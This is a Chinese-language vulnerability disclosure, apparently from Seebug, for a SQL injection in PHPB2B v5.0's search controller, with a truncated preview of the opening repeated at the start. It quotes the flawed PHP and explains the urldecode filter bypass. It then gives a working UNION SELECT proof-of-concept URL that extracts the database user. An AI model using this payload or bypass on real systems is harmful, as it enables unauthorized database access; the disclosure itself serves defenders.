### 简要描述: PHPB2B v5.0某处鸡肋SQL注入(默认功能不开启) ### 详细说明: 文件 /libraries/core/controllers/search_controller.php: ``` function __construct() { !empty($_GET) && $_GET = clear_html($_GET); if (isset($_GET['q'])) { $this->keyword = $_GET['q'] = urldecode(strip_tags(htmlspecialchars($_GET['q']))); } if (!empty($_GET['module']) && in_array($_GET['module'], $this->allowed_search)) { $this->module = strip_tags(htmlspecialchars($_GET['module'])); } setvar("module", $this->module); } ``` 因为这里虽然进行了htmlspecialchars过滤 但是由于后面有urldecode解码,所以我们可以先进行urlencode这样,没有过滤% 所以导致可以绕过过滤。 下面看看这个q参数进入了那里: ``` foreach ($this->allowed_search as $k=>$v) { $modules[$v] = L(array_search($v, $this->allowed_search)); } ksort($modules); setvar("top_modules", $modules); unset($modules[$option]); array_unshift($modules, L(array_search($option, $this->allowed_search))); setvar("modules", $modules); //similar require(CLASS_PATH. "segment.class.php"); $segment = new Segments(); $search_q = $similar_result = ''; if...
### 简要描述: PHPB2B v5.0某处鸡肋SQL注入(默认功能不开启) ### 详细说明: 文件 /libraries/core/controllers/search_controller.php: ``` function __construct() { !empty($_GET) && $_GET = clear_html($_GET); if (isset($_GET['q'])) { $this->keyword = $_GET['q'] = urldecode(strip_tags(htmlspecialchars($_GET['q']))); } if (!empty($_GET['module']) && in_array($_GET['module'], $this->allowed_search)) { $this->module = strip_tags(htmlspecialchars($_GET['module'])); } setvar("module", $this->module); } ``` 因为这里虽然进行了htmlspecialchars过滤 但是由于后面有urldecode解码,所以我们可以先进行urlencode这样,没有过滤% 所以导致可以绕过过滤。 下面看看这个q参数进入了那里: ``` foreach ($this->allowed_search as $k=>$v) { $modules[$v] = L(array_search($v, $this->allowed_search)); } ksort($modules); setvar("top_modules", $modules); unset($modules[$option]); array_unshift($modules, L(array_search($option, $this->allowed_search))); setvar("modules", $modules); //similar require(CLASS_PATH. "segment.class.php"); $segment = new Segments(); $search_q = $similar_result = ''; if (!empty($this->keyword)) { $similar_q = $segment->Split($this->keyword); } if (!empty($similar_q)) { $similar_result = $similar_q; }elseif(!empty($search_q)){ $similar_result = $model_object->GetArray("SELECT *,name AS title FROM ".$tb_prefix."tags WHERE name like '%".$search_q."%' ORDER BY id DESC LIMIT 0,10"); } setvar("similar_search", $similar_result); setvar("items", $result); $from = ($pos==0)?0:$pos+1; setvar("paging", array('total'=>$model_object->amount, 'from'=>$from, 'to'=>($to = $pos+$this->displaypg)>$model_object->amount?$model_object->amount:$to)); setvar("TimeSpend", number_format((getmicrotime()-$time_start), 3)); $tpl = $theme_name.DS.$option.DS.'list'.$smarty->tpl_ext; $viewhelper->setTitle(L(array_search($option, $this->allowed_search),'tpl')); if($search_q) $viewhelper->setTitle($search_q); setvar("no_result_tip", L("no_search_result_for_you", "tpl", $search_q)); if (isset($_GET['typeid'])) { $viewhelper->setTitle($types[$_GET['typeid']]); } render($tpl_file); ``` 最后q参数值直接进入查询。 将我们输入的语句带入了模糊查询中。 ### 漏洞证明: 这里的查询结果只显示查询后的结果,所以只显示数字。 所以我们需要将我们查询后的内容转成数字。 POC: http://localhost/phpb2b/index.php?q=12%25%27%20union%20select%20conv%28hex%28substr%28user%28%29%2C1%2C4%29%29%2C16%2C10%29%20limit%201%2C1#&do=search&action=lists&module=product [<img src="https://images.seebug.org/upload/201404/04223032363da94af596b99b27e9e7422630f8d7.png" alt="d.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/04223032363da94af596b99b27e9e7422630f8d7.png) 这里的结果就是1919905652。 这里的1919905652就是我们查询后返回的user()的结果。 但是1919905652是user()的10进制表示,转换后的内容就是root。 1919905652(10)——726f6f74(16)——root 此漏洞略鸡肋: 默认情况下会对输入的参数进行过滤: ``` if(!$admin_runquery) pb_hack_check();//safe check to post, get. ``` 但是, 这里的admin_runquery可以配置,默认是false,不开启此功能。 但是在后台要执行此功能是必须开启的。 系统工具 » 数据库»升级,在应用此功能时必须开启admin_runquery,而且系统也会提示让开启此功能。 所以此漏洞略鸡肋。